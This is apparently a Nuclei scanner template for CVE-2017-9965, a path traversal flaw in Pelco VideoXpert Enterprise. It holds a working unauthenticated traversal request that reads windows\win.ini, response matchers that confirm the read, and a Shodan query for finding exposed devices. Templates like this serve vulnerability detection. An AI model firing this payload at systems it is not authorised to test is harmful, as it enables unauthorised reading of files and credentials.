id: CVE-2017-9965

info:
  name: Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal
  author: 0x_akoko
  severity: medium
  description: |
    Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can view web server files and directories, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: |
    Apply security updates provided by Schneider Electric or upgrade to a non-vulnerable version.
  reference:
    - https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-355-02
    - https://www.schneider-electric.com/en/download/document/SEVD-2017-339-01/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2017-9965
    cwe-id: CWE-22
    epss-score: 0.0009
    epss-percentile: 0.25388
    cpe: cpe:2.3:a:schneider-electric:pelco_videoxpert:*:*:*:*:enterprise:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: pelco_videoxpert
    shodan-query: title:"VideoXpert"
  tags: cve,cve2017,schneider,pelco,packetstorm,lfi,videoxpert,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'bit app support'
          - 'fonts'
          - 'extensions'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c2c7bae7f9ba9e371ffbef1fc21f99ecd669f7682b2c81256f3334302f1cbaa8022031806360f1aa246ab9332f2f03ac6877aa941e6cbec7702e71f1ad4ea86723cb:922c64590222798bb761d5b6d8e72950